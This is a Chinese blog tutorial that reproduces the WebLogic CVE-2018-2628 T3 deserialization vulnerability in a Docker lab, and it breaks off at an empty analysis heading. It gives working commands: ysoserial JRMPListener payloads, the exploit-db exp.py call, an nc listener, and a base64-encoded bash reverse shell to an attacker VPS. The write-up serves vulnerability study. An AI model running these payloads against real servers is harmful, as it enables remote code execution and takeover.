Weblogic-CVE-2018-2628漏洞復現(xiàn)
前置知識:
一、Java 基礎概念
1.Java 反序列化 :它是將對象狀態(tài)轉(zhuǎn)換為字節(jié)流的過程,反序列化則是將字節(jié)流恢復為對象的過程。
2.RMI(遠程方法調(diào)用)與 JRMP
RMI:Java 提供的跨 JVM 遠程方法調(diào)用技術,基于 JRMP(Java Remote Method Protocol) 實現(xiàn)通信。
JRMP 作用:在 RMI 中,JRMP 負責傳輸序列化對象(包括類名、方法名、參數(shù)等),可利用該協(xié)議傳遞惡意序列化數(shù)據(jù)。
3.WebLogic 核心組件
T3 協(xié)議:WebLogic 用于服務器間通信的私有協(xié)議,基于 JRMP 實現(xiàn),支持序列化對象傳輸。
IIOP 協(xié)議:WebLogic 支持的 CORBA 協(xié)議,同樣可用于傳輸序列化對象
二、漏洞利用鏈相關知識
1.ysoserial 工具
作用:用于生成針對 Java 反序列化漏洞的惡意 payload,內(nèi)置多種利用鏈(如 CommonsCollections1、JRMPClient 等)。
核心原理:通過構(gòu)造特定的 Java 類調(diào)用鏈,觸發(fā)目標系統(tǒng)的反序列化漏洞,執(zhí)行任意命令。
漏洞背景:
披露時間:2018 年 4 月,Oracle 官方補丁修復。
影響版本:WebLogic 10.3.6.0、12.1.3.0、12.2.1.2 及以下版本。
類型:反序列化漏洞(通過 T3/IIOP 協(xié)議觸發(fā))。
危害:攻擊者可遠程執(zhí)行任意代碼,控制服務器(如竊取數(shù)據(jù)、植入后門等)。
漏洞復現(xiàn):
weblogic server的IP:42.192.204.116
攻擊者vps的IP:74.48.194.203
通過docker啟動靶場,然后訪問7001端口的console路徑會顯示如下頁面說明靶場正常啟動。

通過kali看看是否開啟了T3服務。命令: nmap -T4 -sV -O -p 7001 --script weblogic-t3-info 42.192.204.116

從掃描結(jié)果可以看出目標主機已開啟T3服務
漏洞利用1-寫文件
首先在vps上啟動ysoserial工具的JPMP Server服務,端口是9999,并且通過CommonsCollections1鏈創(chuàng)建一個名為ZyonSuccess文件。其中CommonsCollections1 是 ysoserial 中的一種 gadget 鏈,它的作用是在目標服務器反序列化你發(fā)過去的對象時,觸發(fā)執(zhí)行任意命令。
命令: java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'touch /tmp/ZyonSuccess'

vps啟動成功后去kali構(gòu)造payload(exp.py腳本下載地址: https://www.exploit-db.com/exploits/44553 )
命令構(gòu)成:python exp.py [目標ip] [目標port] [ysoserial路徑] [JRMPListener ip] [JRMPListener port] [JRMPClient]
命令: python2 exp.py 42.192.204.116 7001 /home/kali/Desktop/ysoserial-all.jar 74.48.194.203 9999 JRMPClient

然后進入靶場看看有沒有創(chuàng)建成功
命令: docker exec -it <容器id> /bin/bash 或者 docker compose exec weblogic bash

發(fā)現(xiàn)創(chuàng)建成功,證實了存在漏洞。
漏洞利用2-反彈shell
①vps(74.48.194.203)上開始監(jiān)聽: nc -lnvp 8888 ,出現(xiàn): Listening on 0.0.0.0 8888 說明開啟成功。
②啟動 JRMPListener(提供惡意對象)
反彈shell的構(gòu)造: bash -i >& /dev/tcp/遠端vps-ip/8888 0>&1 ,由于Runtime.getRuntime().exec() 中不能使用管道符等bash需要的方法,所以我們使用base64的反彈shell形式,具體如下: bash -c {echo,上面反彈shell的base64編碼}|{base64,-d}|{bash,-i}
最終在vps(74.48.194.203)上的命令: java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC83NC40OC4xOTQuMjAzLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}'

出現(xiàn)整個紅框說明監(jiān)聽成功。
③發(fā)送JRMP exploit(觸發(fā)漏洞),然后攻擊機kali上構(gòu)造payload。
攻擊者kali上的命令: python2 exp.py 42.192.204.116 7001 /home/kali/Desktop/ysoserial-all.jar 74.48.194.203 9999 JRMPClient

然后回到nc監(jiān)聽窗口,發(fā)現(xiàn)反彈shell了。如下圖:

成功得到shell環(huán)境。
漏洞分析:
根本原因:


浙公網(wǎng)安備 33010602011771號